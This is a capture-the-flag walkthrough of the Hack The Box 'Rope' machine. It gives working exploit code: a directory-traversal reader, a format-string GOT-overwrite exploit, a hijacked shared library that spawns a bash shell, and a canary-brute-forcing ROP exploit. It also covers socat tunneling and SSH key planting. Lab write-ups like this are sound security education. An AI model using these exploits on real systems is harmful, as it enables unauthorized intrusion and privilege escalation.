Rope: Hack The Box Walkthrough

栏目: IT技术 · 发布时间: 4年前

内容简介:This post documents the complete walkthrough of Rope, a retired vulnerableRope is a retired vulnerable VM from Hack The Box.Let’s start with a

This post documents the complete walkthrough of Rope, a retired vulnerable VM created by R4J , and hosted at Hack The Box . If you are uncomfortable with spoilers, please stop reading now.

On this post

  • Information Gathering
    • Locating the main function of contact
    • Vulnerability Analysis of contact
    • Exploit Development of contact

Background

Rope is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=700

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-08-04 09:26:00 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.148                                    
Discovered open port 9999/tcp on 10.10.10.148

Hmm. 9999/tcp sure looks interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,9999 -A --reason -oN nmap.txt 10.10.10.148
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 56:84:89:b6:8f:0a:73:71:7f:b3:dc:31:45:59:0e:2e (RSA)
|   256 76:43:79:bc:d7:cd:c7:c7:03:94:09:ab:1f:b7:b8:2e (ECDSA)
|_  256 b3:7d:1c:27:3a:c1:78:9d:aa:11:f7:c6:50:57:25:5e (ED25519)
9999/tcp open  abyss?  syn-ack ttl 63
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     Accept-Ranges: bytes
|     Cache-Control: no-cache
|     Content-length: 4871
|     Content-type: text/html
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <title>Login V10</title>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <!--===============================================================================================-->
|     <link rel="icon" type="image/png" href="images/icons/favicon.ico"/>
|     <!--===============================================================================================-->
|     <link rel="stylesheet" type="text/css" href="vendor/bootstrap/css/bootstrap.min.css">
|     <!--===============================================================================================-->
|     <link rel="stylesheet" type="text/css" href="fonts/font-awesome-4.7.0/css/font-awesome.min.css">
|_    <!--===============================================

OK. 9999/tcp is some kind of http service. This is what it looks like.

Rope: Hack The Box Walkthrough

Directory Traversal

The site is vulnerable to directory traversal attack. The following is a selected output from dotdotpwn .

Rope: Hack The Box Walkthrough

Seeing is believing. Armed with this insight, I can probably write a bash script to read any file, where I have permission, from the machine.

read.sh

#!/bin/bash

HOST=10.10.10.148
PORT=9999
PAYLOAD="${1//\/%2f/}"

OUT=$(curl -s \
           "http://$HOST:$PORT/..%2f..$PAYLOAD")

if grep -E '^<' <<<"$OUT" &>/dev/null; then
  echo $OUT \
  | html2text
else
  echo "$OUT"
fi

Let’s give it a shot.

Rope: Hack The Box Walkthrough

Sweet. I can read directories as well. Rope: Hack The Box Walkthrough

Rope: Hack The Box Walkthrough

Catching an ELF

Now that we have the capability to read files off the server, we can also read the ELF executable that’s running the vulnerable web server.

# ./read.sh /proc/self/exe > httpserver
# file httpserver
rope: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e4e105bd11d096b41b365fa5c0429788f2dd73c3, not stripped
# md5sum httpserver
4c355fdab9cab351b624a08309848e31  httpserver

Looks like someone submitted it to VirusTotal. Rope: Hack The Box Walkthrough

Rope: Hack The Box Walkthrough

Since we can read directories as well, the document root is at /opt/www .

Rope: Hack The Box Walkthrough

And here’s where httpserver is ran from.

# ./read.sh /opt/www/run.sh
#!/bin/bash
source /home/john/.bashrc
while true;
do cd /opt/www;
./httpserver;
done

Vulnerability Analysis of httpserver

I already know the remote machine is Ubuntu 18.04.2, which by default, has several protection mechanisms, e.g. stack canary, ASLR/NX and PIE, against exploits. Let’s confirm that with PEDA.

Rope: Hack The Box Walkthrough

Yep, it’s protected alright. By the way, I found the source code which httpserver was based on, which goes a long way in helping us reverse-engineer httpserver .

The creator of this box has changed a few things. For one, the http_request struct is now like this:

typedef struct {
    char filename[1024];
    char method[1024]
    off_t offset;
    size_t end;
} http_request;

Long story short, there’s a format string vulnerability in the log_access function of httpserver .

Rope: Hack The Box Walkthrough

You can see that httpserver prints the filename from the http_request struct without any format string.

By way of demonstration, we can read data off the stack like so.

# curl 127.0.0.1:9999/AAAABBBB$(perl -e 'print "%2508x." x 100')

Rope: Hack The Box Walkthrough

The offset to 41414141 ( AAAA ) and 42424242 ( BBBB ) is 53 and 54 respectively. Any strings prepended in front of AAAA , in multiples of 4, increase the offset by strlen/4. . For example, if a string, 40 characters long is prepended to AAAA , the offset to AAAA is 53 + (40/4) , or 63.

Now that we know the offset to control the memory address, and the number of bytes written by printf , we can make use of pwntools’ fmtstr_payload to generate a format string payload.

Where do we write and what do we write?

Rope: Hack The Box Walkthrough

The first function we encounter after the format string vulnerability is puts . However, the argument pushed to the stack is an empty string. Even if we rewrite the memory address of puts to system , it won’t do us any good. Well, we can rewrite puts to <log_access+110> , which is the memory address of mov eax, [ebp+req] shown above. And, we can rewrite printf to system because the argument is the filename member of http_request struct, which is something we control. Perfect.

Not only can we read the httpserver executable, we can also read the memory map of the executable using the Range header. Here’s a rewritten read.sh .

#!/bin/bash

HOST=10.10.10.148
PORT=9999
PAYLOAD=$1
TEMP=$(mktemp -u)
RANGE="Range: bytes=0-$((1024*1024))"

function clean() {
    rm -rf $TEMP
}

if [ "$PAYLOAD" == "-r" ]; then
    PAYLOAD=$2
    curl -s \
         -o $TEMP \
         -H "$RANGE" \
         "http://$HOST:$PORT/$PAYLOAD"
else
    curl -s \
         -o $TEMP \
         "http://$HOST:$PORT/$PAYLOAD"
fi

if cat $TEMP | grep -Ea '^<' &>/dev/null; then
    cat $TEMP | html2text && clean
else
    cat $TEMP && clean
fi

See? Memory address leak.

Rope: Hack The Box Walkthrough

Last but not least, we need to locate the offsets of puts , printf , system and <log_access+110> . Combined with the base memory address leak of httpserver and libc , we now know where and what to overwrite.

printf and puts offsets in httpserver

Rope: Hack The Box Walkthrough

<log_access+110> offset in httpserver

Rope: Hack The Box Walkthrough

_system offset in libc

Rope: Hack The Box Walkthrough

Armed with these insights, we can now write our exploit.

exploit.py

from pwn import *
from urllib import quote

context.clear(arch="i386")

maps = '''\
GET //proc/self/maps HTTP/1.1
Range: bytes=0-{}

'''.format(str(1024*1024))

r = remote("10.10.10.148", 9999)
r.send(maps)

info("Getting /proc/self/maps")

httpserver = None
libc = None

while True:
    try:
        line = r.recvline()
    except EOFError:
        break
    if httpserver is None and "httpserver" in line:
        httpserver = int(line[:8], 16)
    if libc is None and "libc" in line:
        libc = int(line[:8], 16)

success("Found: %s (httpserver)", hex(httpserver))
success("Found: %s (libc)", hex(libc))

r.close()

goto   = 0x20e5 + httpserver # <log_access+110>
puts   = 0x5048 + httpserver # puts in got.plt (writable)
printf = 0x5018 + httpserver # printf in got.plt (writable)
system = 0x3cd10 + libc      # [email protected]

writes = {
    printf : system,
    puts : goto
}

shell = 'bash -c "exec <&4 >&4; sh" #'
info("Executing shell: %s", repr(shell))

pad = len(shell) % 4
if pad:
    shell += ' ' * (4 - pad)

offset = (len(shell) / 4) + 53
payload = shell + fmtstr_payload(offset, writes, len(shell), write_size='short')

request='''\
GET /{} HTTP/1.1

'''.format(quote(payload))

r = remote("10.10.10.148", 9999)
r.send(request)
r.recvuntil("HTTP", drop=True)
r.clean()

success("We have shell!")

r.interactive()

Let’s do this.

Rope: Hack The Box Walkthrough

We got shell!

Low-Privilege Shell

We can write a SSH public key we control to /home/john/.ssh/authorized_keys since SSH is available. That gives us a more stable shell.

Rope: Hack The Box Walkthrough

Bam. So much for a low-privileged shell. Notice that we haven’t even gotten user.txt ?

Getting user.txt

The user.txt must be at r4j ’s home directory. Why do I say that? Well, john has an uid of 1001 and the file is not here. It must at r4j , who has a uid of 1000 . Furthermore, check out the sudo policy on john .

Rope: Hack The Box Walkthrough

john is able to run /usr/bin/readlogs as r4j . Something funky must be going on there. The binary imports the printlog function from liblog.so .

Rope: Hack The Box Walkthrough

I knew it.

Rope: Hack The Box Walkthrough

I guess anyone can write a fake liblog.so with a printlog function that does something nefarious than just tail ‘ing off the last 10 lines of /var/log/auth.log . Rope: Hack The Box Walkthrough

test.c

#include <stdlib.h>
#include <unistd.h>

void printlog() {
        setuid(1000);
        setgid(1000);
        system("bash -i");
}

Let’s compile the code above into a shared library and see what goes.

Rope: Hack The Box Walkthrough

Sweet. We can repeat the trick of planting a SSH public key we controlled into /home/r4j/.ssh/authorized_keys . As expected, user.txt is at r4j ’s home directory.

Rope: Hack The Box Walkthrough

Privilege Escalation

During enumeration of r4j ’s account, I found an executable ( /opt/support/contact ) that allows one to send a message to admin , which I guess, is another way of saying root . The executable is ran from cron under root ’s permission and accepts request at 127.0.0.1:1337 .

There’s something special about contact . The debug symbols are stripped, which means that I can’t even disassemble the main function.

Rope: Hack The Box Walkthrough

See? Even gdb don’t know where to find the address of main .

Rope: Hack The Box Walkthrough

There’s an easy fix to this problem.

Locating the main function of contact

First, we check out the file information with gdb .

Rope: Hack The Box Walkthrough

Using gdb , we can place a breakpoint at 0x0 and run the file.

Rope: Hack The Box Walkthrough

The program suspends and goes into the background. Look what happens when we bring the program back into the foreground with fg .

Rope: Hack The Box Walkthrough

Of course, GDB will complain that it can’t place the breakpoint. But when we run info file again, the entry point of contact gets resolved automagically.

Rope: Hack The Box Walkthrough

We placed a second breakpoint at this entry point and delete the first breakpoint. We then try to run the file again.

Rope: Hack The Box Walkthrough

Several instructions down, we will encounter the address of main . It’s the argument to __libc_start_main .

Rope: Hack The Box Walkthrough

We’ll place a breakpoint at 0x55555555540e , delete the second breakpoint, and then run the file again.

Rope: Hack The Box Walkthrough

Woohoo. We are now in the territory of main . Time to proceed to reverse engineering.

Vulnerability Analysis of contact

I’ve done my reverse engineering of contact . Once contact call s the parse_message function. The return address ( 0x1562 ) is pushed onto the stack.

Rope: Hack The Box Walkthrough

What happens next once we stepped into parse_message is that RBP and the stack canary is saved onto the stack before invoking recv on the socket.

Rope: Hack The Box Walkthrough

Like I said in the comment of the parse_message function, buf is 56 bytes in size. We can, however overwrite up to 1024 bytes. Rope: Hack The Box Walkthrough

Let’s see this in action in gdb .

Rope: Hack The Box Walkthrough

Exploit Development of contact

Armed with this insight, we can proceed to develop our exploit. Here’s the game plan:

  1. Brute-force the stack canary and return address.
  2. Use ROP gadgets to leak [email protected] address in [email protected] .
  3. Pop a shell and dup2 stdin , stdout , and stderr to socket.
  4. Transfer statically compiled socat to the remote machine
  5. Create a tunnel between 127.0.0.1:1337 and 10.10.10.148:31337 with socat .

With that in mind, here’s the exploit code I’ve written.

exploit2.py

from pwn import *

def brute(msg, host, port, type=""):

    if (type == "stack"):
        desc = "Stack cookie"
        brute = "\x00"
        length = 8

    elif (type == "base"):
        desc = "Base pointer"
        brute = ""
        length = 6

    elif (type == "retaddr"):
        desc = "Return address"
        brute = "\x62"
        length = 6

    info("%s brute force started..." % desc)
    context.log_level = "error"

    for byte in range(len(brute), length):
        for value in range(256):
            while 1:
                try:
                    io = remote(host, port)
                    break
                except:
                    print("[!] Connection attempt failed. New attempt in 1 second...")
                time.sleep(1)

            io.clean()
            io.send(msg + brute + pack(value, 8))
            response = ""
            try:
                response = io.recvuntil("Done.")
            except EOFError:
                pass
            finally:
                io.shutdown()
                io.close()
            if "Done." in response: # correct guess
                brute += pack(value, 8)
                print("[+] [%s] = %s" % (str(byte), hex(value)))
                break

    context.log_level = "info"

    if type != "stack":
    	brute += "\x00\x00"

    brute = u64(brute)
    info("%s is %s" % (desc, hex(brute)))
    return brute

# front matter
host = "10.10.10.148"
port = 31337

# brute-force stack canary
junk            = 'A' * 56
stack_canary    = brute(junk, host, port, type="stack")
base_ptr        = brute(junk + p64(stack_canary), host, port, type="base")
ret_addr        = brute(junk + p64(stack_canary) + p64(base_ptr), host, port, type="retaddr")

# load target
contact   = ELF('./contact')
contact.address = ret_addr - 0x1562 # offset to return address

# ROPgadget --binary contact
pop_rdi_ret     = contact.address + 0x164b
pop_rdx_ret     = contact.address + 0x1265
pop_rsi_pop_ret = contact.address + 0x1649
ret             = contact.address + 0x1016
skip            = 0xdeadbeef

# leak [email protected] address in GOT
payload  = ''
payload += junk
payload += p64(stack_canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(4)
payload += p64(pop_rsi_pop_ret)
payload += p64(contact.got["write"])
payload += p64(skip)
payload += p64(pop_rdx_ret)
payload += p64(16)
payload += p64(contact.plt["write"])

r = remote(host, port)
r.recvuntil("admin:\n")
r.send(payload)

# libc base address
# offset to [email protected] change for other versions
# base = u64(r.recv(8)) - 0xea4f0  # my libc
base = u64(r.recv(8)) - 0x110140  # rope's libc
r.shutdown()
r.close()

success("Found libc base address @ %s" % hex(base))

# load libc
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # my libc
libc = ELF('./libc.so.6') # rope's libc
libc.address = base

# pop a shell
# dup2(4, 0); dup2(4, 1); dup2(4, 2); system("/bin/sh")
payload  = ''
payload += junk
payload += p64(stack_canary)
payload += p64(base_ptr)
payload += p64(pop_rdi_ret)
payload += p64(4)
payload += p64(pop_rsi_pop_ret)
payload += p64(0)
payload += p64(skip)
payload += p64(libc.symbols["dup2"])
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(4)
payload += p64(pop_rsi_pop_ret)
payload += p64(1)
payload += p64(skip)
payload += p64(libc.symbols["dup2"])
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(4)
payload += p64(pop_rsi_pop_ret)
payload += p64(2)
payload += p64(skip)
payload += p64(libc.symbols["dup2"])
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(next(libc.search("/bin/sh\x00")))
payload += p64(libc.symbols["system"])

r = remote(host, port)
r.recvuntil("admin:\n")
r.send(payload)

success("We got shell!")
r.interactive()

The statically compiled socat can be obtained here . And this is the command to create a tunnel between 127.0.0.1:1337 and 10.10.10.148:31337 with socat .

<a href="/cdn-cgi/l/email-protection" data-cfemail="285a1c42685a47584d">[email protected]</a>:/tmp$ ./socat tcp-listen:31337,fork tcp:127.0.0.1:1337 &

Getting root.txt

All that’s left is to run the exploit and with a liitle bit of luck that no one resets the machine while you are brute-forcing the stack canary, base pointer and return address, you should get something like this.


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

金字塔原理

金字塔原理

[美] 巴巴拉·明托 / 王德忠、张珣 / 民主与建设出版社 / 2002-12 / 39.80元

《金字塔原理》是一本讲解写作逻辑与思维逻辑的读物,全书分为四个部分。 第一篇主要对金字塔原理的概念进行了解释,介绍了如何利用这一原理构建基本的金字塔结构。目的是使读者理解和运用简单文书的写作技巧。 第二篇介绍了如何深入细致地把握思维的环节,以保证使用的语句能够真实地反映希望表达的思想要点。书中列举了许多实例,突出了强迫自己进行“冷静思维”对明确表达思想的重要性。 第三篇主要针对的......一起来看看 《金字塔原理》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试